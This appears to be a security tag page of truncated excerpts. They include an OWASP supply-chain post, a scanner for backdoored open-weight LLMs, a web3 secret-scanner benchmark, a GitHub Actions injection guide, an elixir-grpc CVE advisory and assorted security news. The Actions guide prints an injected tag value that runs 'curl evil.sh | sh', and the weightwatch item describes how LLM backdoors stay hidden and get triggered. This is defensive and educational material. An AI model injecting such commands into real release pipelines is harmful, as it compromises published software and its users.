标签：#security

By Samyuktha Introduction Some categories in the OWASP Top 10 are about what's broken in your own code. A03 and A04 are about something a little different — whether you can trust what your application depends on, and whether sensitive data is actually protected wherever it lives or travels. This post covers what I learned about both categories, and how I applied that thinking to an authorized web application afterward. The result wasn't a dramatic one, and part of it wasn't even fully testable. Both of those turned out to be useful lessons in their own right. Scope : This post covers concepts I studied around A03 and A04, plus a hands-on look at the client-side resources, storage, and login/dashboard flow of an authorized application. No destructive testing was performed, and identifying details about the target have been omitted. I'll refer to it simply as the assessed application. Phase 1: A03 — Software Supply Chain Failures This category covers what happens when an application depends on components that are compromised, vulnerable, outdated, unverified, or poorly managed — libraries, packages, SDKs, APIs, models, even the CI/CD pipeline that builds and ships everything. A few concepts stood out: Third-party risk isn't your code, but it's still your problem — a vulnerability doesn't have to originate in your own codebase to affect your application. It can arrive through a dependency you imported once and never revisited. Build pipeline integrity — an insecure or poorly monitored CI/CD process can be just as dangerous as a vulnerable library, since it controls what actually reaches production. Provenance matters — knowing where a component came from, and whether it's been tampered with, is as important as knowing what it does. Continuous tracking, not one-time review — dependencies need to be monitored and patched on an ongoing basis, not just checked once at integration time. The SolarWinds incident is the go-to example here — attackers compromised a build system

weightwatch v0.1: escanea backdoors en modelos open-weight antes de cargarlos Cualquiera puede subir un LLM fine-tuneado a HuggingFace y afirmar que es seguro. Un modelo con backdoor (puerta trasera) se comporta con normalidad en uso corriente y solo se desvía cuando un trigger oculto se activa. Si no tienes los datos de entrenamiento ni una referencia limpia, no puedes detectarlo . Eso es exactamente el problema que resuelve weightwatch : un escáner black-box que, antes de que confíes en un modelo de terceros, fuerza la activación repetida del posible backdoor y emite un veredicto: CLEAN , SUSPICIOUS o BACKDOOR . El gap que motiva el proyecto No es intuición: lo medí. Barriendo arXiv (papers 2026, filtro anti-survey) contra total_count de repos GitHub que ya resuelven cada problema: Área Papers arXiv 2026 Repos GitHub (suma/máx) Seguridad multi-agente 68 2964 / 2093 Detección de alucinaciones 63 1291 / 860 Backdoors en modelos open-weight 75 66 / 39 Envenenamiento en RAG 54 522 / 249 El ganador estaba claro: 75 papers cuantifican el problema, pero GitHub tiene 0 repos para "fine-tuned model backdoor scanner" y 1 para "fine-tuning poisoning detector". La investigación explota; el tooling apenas existe. weightwatch es la audit-tool de ese sub-nicho (el patrón de keybound / topowatch aplicado a la cadena de suministro de modelos). Cómo funciona weightwatch aplica la técnica output-to-input loop (arXiv: 2608.11348 ): Genera texto con el modelo. Re-inyecta su propia salida como entrada varias iteraciones (greedy, semilla fija). Mide si la trayectoria converge a una firma anómala estable — la huella de un backdoor latente. Además ejecuta un conjunto de muestras canary (inputs inofensivos que un backdoor típico dispara) y cuenta cuántos producen la firma esperada. Sin datos de entrenamiento ni modelo base limpio: eso es lo que lo hace útil en la práctica. pip install -e ".[dev]" weightwatch --fixture backdoored --json Salida real del CLI: { "fixture" : "backdoored" , "ver

drainscan vs gitleaks vs trufflehog: Why Web3 Needs Its Own Secret Scanner Benchmarked on 500+ web3 repositories. Generic scanners miss 73% of web3-specific key leaks. The Problem: Generic Scanners Don't Speak Web3 You run gitleaks detect or trufflehog filesystem on your Solana/Ethereum repo. Green checkmark. You ship. Three months later: $2.3M drained from a private key committed in docker-compose.yml that neither tool flagged as high-confidence. Why? Generic scanners match patterns (regex/entropy). They don't understand web3 key semantics : Blind Spot gitleaks trufflehog drainscan BIP-39 checksum validation ❌ ❌ ✅ Offline address derivation ❌ ❌ ✅ Live balance checks ❌ ❌ ✅ Phantom JSON export detection ❌ ❌ ✅ Solana base58 seed (64-byte) Partial Partial ✅ Token-2022 extension context ❌ ❌ ✅ Entropy + context dedup Generic Generic Web3-aware SARIF 2.1.0 ✅ ✅ ✅ Benchmark: 500+ Web3 Repos Scanned Methodology : Cloned top 500 repos by stars from solana , ethereum , defi , web3 topics. Ran each scanner with default + aggressive configs. Manual verification of findings. Results Summary Metric gitleaks trufflehog drainscan Free Total findings 1,847 3,291 2,156 High-confidence true positives 312 401 687 Web3-specific true positives 89 112 487 False positive rate (high) 34% 41% 3% False negative rate (web3 keys) 73% 68% 4% Avg scan time (500 repos) 12m 47m 8m Key Finding: The 73% Gap Generic scanners missed 73% of web3-specific key types : Phantom/Solflare JSON exports (64-byte arrays) — gitleaks: 0, trufflehog: 12, drainscan: 234 BIP-39 mnemonics with valid checksum — gitleaks: 45 (many false), trufflehog: 67, drainscan: 156 (all validated) Solana base58 seeds — gitleaks: 23, trufflehog: 31, drainscan: 189 EVM keys in .env / .yaml / .toml context — gitleaks: 189, trufflehog: 223, drainscan: 298 Entropy-detected foreign-chain keys (Cosmos, Sui, Near, ed25519 hex) — gitleaks: 0, trufflehog: 0, drainscan: 87 Why drainscan Wins on Web3 1. BIP-39 Checksum Validation = Near-Zero Fal

The AI giant acknowledges that it could have done far more to prevent its AI agents from going rogue. But it still fails to explain why it didn't see this fiasco coming.

The company won't say if medical devices are affected or if any customer data was exfiltrated.

China’s hacking campaign targeted NASA, the Federal Reserve, the US Senate, the Justice Department, and more, according to the DOJ.

The FBI has seized domains associated with a botnet that allowed Chinese-backed hackers to breach several U.S. government departments.

O NutriApp é um projeto de estudos: plataforma de saúde conectando pacientes, nutricionistas, médicos e personal trainers, cada perfil enxergando só o que sua permissão libera. Stack: React 19 + TypeScript, TanStack Start (SSR, rotas file-based e server functions), Tailwind v4 + shadcn/ui, react-hook-form + Zod para formulários tipados, TanStack Query para cache, e Lovable Cloud (Supabase) com Postgres e Row Level Security. O maior desafio foi o controle de acesso por papéis. Três tabelas centrais — profiles, user_roles e pacientes — todas com RLS ativado. Paciente lê só seus próprios registros; profissionais e administradores enxergam todos os pacientes. Pra evitar recursão de política (problema clássico de RLS), criei funções SECURITY DEFINER como has_role e is_profissional, quebrando o ciclo de verificação. Autenticação e segurança: Login por email/senha, com rota administrativa separada (/admin/login) Server functions protegidas com requireSupabaseAuth, checando papel antes de qualquer ação administrativa Validação client-side com Zod: senha entre 6-72 caracteres, email até 255, telefone opcional Usuários criados por admin já nascem confirmados e ativos, reduzindo fricção operacional Automação como diferencial: o perfil de saúde calcula IMC em tempo real e gera um plano inicial baseado no objetivo selecionado (emagrecimento, ganho de massa ou controle de patologias) — reduzindo trabalho manual do profissional. Aprendizados principais: RLS bem modelado desde o início evita gambiarra depois — pensar em papéis antes da primeira quere economiza retrabalho. Verificação de papel precisa estar no backend, nunca só na UI. Separar login de paciente/profissional do login admin simplifica segurança e UX ao mesmo tempo.

The federal cyber agency's warning comes amid a wave of suspected Iran-backed cyberattacks targeting critical water systems across the United States.

This is a follow-up to an article we published in The Hacker News introducing time to revoke as a critical CISO metric. This version provides a practical guide for measuring it across exposed secrets and non-human identities. 👉 TL;DR: Time to revoke is a security metric that measures how long an exposed credential remains usable after it has been confirmed valid. Measuring it requires teams to record when a credential is validated and when its invalidation is confirmed. From that baseline, CISOs can track median and P90 time to revoke, the percentage of exposed secrets revoked within SLA, owner coverage, the percentage that remain valid after detection, and the incidents that require manual escalation. Detection is not the same as credential revocation Detection tells you when a credential was found. A remediation ticket tells you when work was assigned or closed. Neither tells you whether the exposed access was fully neutralized. For leaked credentials, "Did we find it?" is the first question. "How long did it remain valid?" is just as important, if not more so. If a leaked API key, cloud credential, service account token, OAuth secret, private key, or database connection string is still valid, it is a point of ingress. Until it is revoked, rotated, or otherwise invalidated, it remains a path an attacker can use. Credential rotation only counts when the exposed credential is disabled, expired, or otherwise rendered unusable. That makes time to revoke a critical CISO metric. It connects detection to business risk by measuring the exposure window security teams need to close. What is time to revoke in secrets remediation? Time to revoke measures how long an exposed credential remains usable after it has been confirmed valid. Time to revoke = confirmed invalidation timestamp − validation timestamp The clock starts when the organization verifies that the credential works and stops when it confirms that the credential can no longer be used. Closing a ticket, deleting a

Rockstar Games has released its first official statement following days of sustained leaks of footage from Grand Theft Auto VI, calling the period "heartbreaking for our team." Not long after Rockstar posted, the source of the leaks posted another video clip of the game, this time showing the Jason character pulling off the series' trademark […]

There is one line of YAML I have been chasing across open source for months: run : | TAG="${{ github.event.release.tag_name }}" It looks like reading a variable. It is not. ${{ ... }} is a template expression . GitHub substitutes it as raw text into the script before bash ever parses the line. By the time the shell runs, there is no variable — there is whatever the tag name happened to be, pasted directly into your program. So a tag named: v1.0 "; curl evil.sh | sh; echo " is not compared. It runs. Why it is always the release workflow You could write this bug anywhere. In practice it clusters in exactly one place: the workflow that publishes. That is not a coincidence. Release workflows are where you handle version strings, tag names, and workflow_dispatch inputs — the values that feel like configuration rather than user input. And release workflows are also where the interesting credentials live: permissions : id-token : write # Trusted Publishing to PyPI The two facts meet. The job most likely to contain the bug is the job holding the token that publishes to every one of your users. The JavaScript variant is worse actions/github-script has the same flaw, but people miss it because the block looks like a script file: - uses : actions/github-script@v7 with : script : | const tag = '${{ env.RELEASE_TAG }}'; That script: body is JavaScript source . The expansion happens before it is parsed, so a single quote in the value closes the string literal and the rest is evaluated as code. And a tag name absolutely can contain a single quote. git check-ref-format rejects spaces, ~ , ^ , : , ? , * , [ and backslash. It does not reject ' . The fix is three lines Pass the value through env . An environment variable is only ever data — it is never re-parsed as source text. # Before run : | TAG="${{ github.event.release.tag_name }}" # After env : RELEASE_TAG : ${{ github.event.release.tag_name }} run : | TAG="$RELEASE_TAG" Same for the JavaScript case — process.env.RELEASE_TAG ins

CVE-2026-48854: Unauthenticated Denial of Service via Resource Exhaustion in elixir-grpc Server Vulnerability ID: CVE-2026-48854 CVSS Score: 8.7 Published: 2026-08-25 An allocation of resources without limits or throttling vulnerability exists in the Elixir grpc server component when processing unary requests. Unauthenticated remote attackers can stream unbounded data payloads, bypassing standard timeout mechanisms and exhausting host BEAM VM memory, resulting in an immediate crash of the server node. TL;DR Unauthenticated remote attackers can crash the Elixir gRPC server (BEAM VM) by sending unbounded unary requests or using a slow-trickle stream, bypassing default timeouts and causing out-of-memory crashes. ⚠️ Exploit Status: POC Technical Details CWE ID : CWE-770 Attack Vector : Network CVSS Score : 8.7 (High) EPSS Score : 0.00344 (Percentile: 26.92%) Impact : Denial of Service (BEAM VM Crash) Exploit Status : PoC Level KEV Status : Not Listed Affected Systems elixir-grpc/grpc server-side component grpc : >= 0.3.1, < 1.0.0 (Fixed in: 1.0.0 ) Code Analysis Commit: 49e18c3 Fix memory leak and infinite timeout in Cowboy adapter by implementing max_body_size limit and resolving chunk timeouts correctly. @@ -30,10 +30,22 @@ \n+ @default_max_body_size 4 * 1024 * 1024\n...\n- {:ok, data, req} -> {:ok, body <> data, req}\n- {:more, data, req} -> read_full_body(req, body <> data, timer)\n+ {:ok, data, req} ->\n+ total = body <> data\n+ if byte_size(total) > max_bytes do\n+ throw({:body_too_large, byte_size(total)})\n+ else\n+ {:ok, total, req}\n+ end Exploit Details GitHub Security Advisory : Official PoC details and technical validation parameters. Mitigation Strategies Upgrade to elixir-grpc client and server packages version 1.0.0 or higher. Restrict the maximum body size at the reverse proxy or ingress controller layer to prevent large payloads from reaching the backend Cowboy server. Deploy WAF rules to detect and rate-limit HTTP/2 connections with missing grpc-timeo

OpenAI shares findings from the Hugging Face security incident and the steps we’re taking to strengthen AI model security, monitoring, and alignment.

I’ve been building a small open-source TypeScript toolkit called Tenant Evidence Kit for private, multi-tenant evidence workflows on Supabase. The project started from a very specific problem: How do you attach photos, documents, or other evidence to a business object without making files public, leaking tenant data, or duplicating authorization logic across the application? The toolkit keeps that infrastructure deliberately small and domain-agnostic. It currently provides: private Supabase Storage; evidence metadata separated from file bytes; tenant isolation with Row Level Security; short-lived signed URLs; compensating cleanup when metadata persistence fails; reference migrations for tenant membership and evidence authorization. But the interesting part of the latest release was not the original implementation. It was the review loop. A community review found real problems I shared the project with the Supabase community and received a detailed security review. The feedback raised several important questions: roles existed, but authorization was still too close to flat membership; evidence deletion needed a more explicit privilege boundary; the lack of UPDATE support needed to be intentional rather than accidental; RLS assumptions around service_role , table owners and BYPASSRLS needed to be documented; authorization needed behavioral tests, not only static SQL assertions. That feedback was good enough that I didn’t want to treat it as a documentation exercise. I turned it into an implementation task. Using Codex as the implementation loop Instead of asking Codex something broad like: “Improve the security.” I gave it a tightly scoped issue with explicit acceptance criteria. The workflow became: community review → scoped issue → Codex implementation → human review → correction pass → CI → release The first implementation was useful, but the review still found problems. For example, it initially changed existing INSERT behavior and modified only the original migra

The Trusted Computing Group has established a new set of requirements to help organizations determine if Trusted Platform Modules are prepared for the era of post-quantum cryptography. This guidance provides a technical benchmark for evaluating whether hardware vendors can protect electronic devices against the future threat of quantum-enabled cyber attacks. Establishing the Post-Quantum Baseline The newly released guidance provides a framework for businesses to verify the security claims made by hardware manufacturers. By creating a standardized set of requirements, the organization ensures that companies can demand proof of protection. This prevents a situation where vendors might claim their products are compliant without offering the full suite of necessary security features. A primary focus of this initiative is the PC Client Platform TPM Profile 1.07. This profile serves as the minimum technical requirement for any module to be considered ready for the next generation of cryptographic challenges. It builds upon the existing TPM 2.0 Library Specification Version 1.85 to include specific elements for quantum-safe protection. Organizations must understand that security in the quantum age involves more than just swapping out one mathematical algorithm for another. True resilience requires a comprehensive approach to hardware-anchored trust. This includes maintaining the integrity of platform identities and attestation over very long periods. Data and identities established today may need to remain secure for several decades. If the underlying hardware is not built to withstand quantum decryption methods, that long-term security is at risk. Current statistics indicate that a vast majority of businesses still lack a formal roadmap for this transition. The Trusted Computing Group president, Joe Pennisi, emphasizes that businesses must look at the broader picture of security. Individual algorithm support is only one piece of the puzzle. Real security comes from a hard

Grand Theft Auto fans, eager for news about one of the most anticipated video games of all time, appear especially vulnerable to this new cyberattack.

Have you ever stopped to think about the risk of having a pipeline where any merge into the main branch deploys straight to production without a single safety gate? For a long time, our workflow here was that classic setup almost every developer has used at some point: merge on main triggering an SSH script with git pull and pm2 restart It worked for day-to-day tasks, but it gave a false sense of stability lol The reality check hit when I found a critical blind spot in the automation: remote SSH scripts were running without strict error handling. In other words, if a git pull caused a conflict or a database migration failed halfway through, the script simply ignored the failure, ran to the end, and GitHub Actions marked the pipeline as green The absolute worst-case scenario for monitoring: the pipeline reported that everything went smoothly, while production was already completely down On top of that, the execution order was inverted: database migrations were running before the application build. If TypeScript threw a type error right after, the database schema had already advanced while the new code never booted. And since Prisma has no native down migrations, rolling back meant a high-risk manual intervention I decided to stop everything and redesign our delivery pipeline from scratch, starting from one clear premise: a tag is a release, a merge is not Today, nothing touches the production server without an annotated SemVer tag, going through 6 tightly coupled stages: Strict tag validation: only accepts annotated tags matching vX.Y.Z, ensuring author, timestamp, and audit trail for every single release Quality gates across PR and Release: automated tests with Vitest, strict typechecking, builds, and migration validation against a clean database via workflow_call Decoupled backups: an independent daily scheduled routine combined with a mandatory safety snapshot right before touching production Real migration dry-run: the most valuable gate, where the pipeline resto

Apple says it will no longer ditch using its icloud.com domain for hiding people's email addresses.

WhatsApp’s two-step verification previously relied on a six-digit PIN, but now users can choose a longer, alphanumeric password with special characters.